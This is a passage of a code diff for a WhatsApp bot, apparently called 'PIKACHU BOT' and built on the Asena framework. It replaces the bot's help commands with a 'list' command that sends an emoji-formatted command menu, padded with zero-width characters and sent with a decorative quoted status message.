+ command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*📝 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; + Asena.addCommand({pattern: 'list ?(.*)', fromMe: true, dontAddCommandList: true}, (async (message, match) => { - } - ); - - await message.client.sendMessage( - message.jid, CMD_HELP, MessageType.text ,{quoted: message.data} - ); - } else { var CMD_HELP = ''; - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var cmatch = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var cmatch = [command.pattern]; - } - - if (cmatch[2] == match[1]) { + if (match[1] === '') { + Asena.commands.map( + async (command) => { + if (command.dontAddCommandList || command.pattern === undefined) return; + try { + var match = command.pattern.toString().match(/(\W*)([A-Za-zğüşıiöç1234567890 ]*)/); + var mmatch = command.pattern.toString().match(/(\W*)([A-Za-züşiğ öç1234567890]*)/)[2] + } catch { + var match = [command.pattern]; + } + var HANDLER = ''; if (/\[(\W*)\]/.test(Config.HANDLERS)) { @@ -64,130 +36,107 @@ if (Config.WORKTYPE == 'private') { } else { HANDLER = '.'; } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmatch[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' + command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*💎 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; - - } - } - ); - if (CMD_HELP === '') CMD_HELP += Lang.NOT_FOUND; - await message.client.sendMessage( - message.jid, CMD_HELP, MessageType.text,{quoted: message.data} - ); - } -})); - -/*slf*/ -Asena.addCommand({pattern: 'phelp ?(.*)', fromMe: true, dontAddCommandList: true}, (async (message, match) => { - var CMD_HELP = ''; - if (match[1] === '') { - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var match = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var match = [command.pattern]; - } - - var HANDLER = ''; - - if (/\[(\W*)\]/.test(Config.HANDLERS)) { - HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; - } else { - HANDLER = '.'; - } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + match[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' + command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*📝 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; - - } - ); - - await message.client.sendMessage( - message.jid, CMD_HELP, MessageType.text,{quoted: message.data} - ); - } else { - var CMD_HELP = ''; - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var cmatch = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var cmatch = [command.pattern]; + if (command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n\n'; + } + if (command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎱 ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } } - - if (cmatch[2] == match[1]) { - var HANDLER = ''; + ); + await message.client.sendMessage( + message.jid, Config.BOTPLK + '\n\n ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ \n' + CMD_HELP, MessageType.text, { contextInfo: { forwardingScore: 5, isForwarded: true }, quoted: { key: { fromMe: false, participant: `0@s.whatsapp.net`, ...(message.jid ? { remoteJid: "status@broadcast" } : {}) }, message: { "imageMessage": { "url": "https://mmg.whatsapp.net/d/f/At0x7ZdIvuicfjlf9oWS6A3AR9XPh0P-hZIVPLsI70nM.enc", "mimetype": "image/jpeg", "caption": Config.BOTPLK, "fileSha256": "+Ia+Dwib70Y1CWRMAP9QLJKjIJt54fKycOfB2OEZbTU=", "fileLength": "28777", "height": 1080, "width": 1079, "mediaKey": "vXmRR7ZUeDWjXy5iQk17TrowBzuwRya0errAFnXxbGc=", "fileEncSha256": "sR9D2RS5JSifw49HeBADguI23fWDz1aZu4faWG/CyRY=", "directPath": "/v/t62.7118-24/21427642_840952686474581_572788076332761430_n.enc?oh=3f57c1ba2fcab95f2c0bb475d72720ba&oe=602F3D69", "mediaKeyTimestamp": "1610993486", "jpegThumbnail": fs.readFileSync('20210816_231658.jpg')}}}}); + } + else { + var CMD_HELP = ''; + Asena.commands.map( + async (command) => { + if (command.dontAddCommandList || command.pattern === undefined) return; + try { + var cmatch = command.pattern.toString().match(/(\W*)([A-Za-zğüşıiöç1234567890 ]*)/); + var cmmatch = command.pattern.toString().match(/(\W*)([A-Za-züşiğ öç1234567890]*)/)[2] + } catch { + var cmatch = [command.pattern]; + } + if (cmmatch.endsWith(' ')) { + var cmmatch = command.pattern.toString().match(/(\W*)([A-Za-züşiğ öç1234567890]*)/)[2].replace(' ', '') + } + if (cmmatch == match[1]) { + var HANDLER = ''; - if (/\[(\W*)\]/.test(Config.HANDLERS)) { - HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; - } else { - HANDLER = '.'; + if (/\[(\W*)\]/.test(Config.HANDLERS)) { + HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; + } else { + HANDLER = '.'; + } + if (command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n\n'; + } + if (command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎱 ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmatch[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' + command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*📝 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; - } - } - ); - if (CMD_HELP === '') CMD_HELP += Lang.NOT_FOUND; - await message.client.sendMessage( - message.jid, CMD_HELP, MessageType.text,{quoted: message.data} - ); - } -})); + ); + if (CMD_HELP === '') CMD_HELP += Lang.NOT_FOUND; + await message.client.sendMessage( + message.jid, Config.BOTPLK + '\n\n ```AT YOUR SERVICE``` \n\n ```If you want to have your own bot, watch this video: https://youtube.com/channel/UCQ3NYIDKT6-glPHTPya7b7w``` \n\n ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ \n' + CMD_HELP, MessageType.text,{quoted: message.data} + ); + } + })); } else if (Config.WORKTYPE == 'public') { - Asena.addCommand({pattern: 'help ?(.*)', fromMe: false, dontAddCommandList: true}, (async (message, match) => { - var CMD_HELP = ''; - if (match[1] === '') { - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var match = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var match = [command.pattern]; - } - - var HANDLER = ''; - - if (/\[(\W*)\]/.test(Config.HANDLERS)) { - HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; - } else { - HANDLER = '.'; - } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + match[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' + command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*📝 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; + Asena.addCommand({pattern: 'list ?(.*)', fromMe: false, dontAddCommandList: true}, (async (message, match) => { - } - ); - - await message.client.sendMessage( - message.jid,'\n●▬▬ *PIKACHU BOT* ▬▬●\n\n ```COMMANDS ARE 👇```\n\n 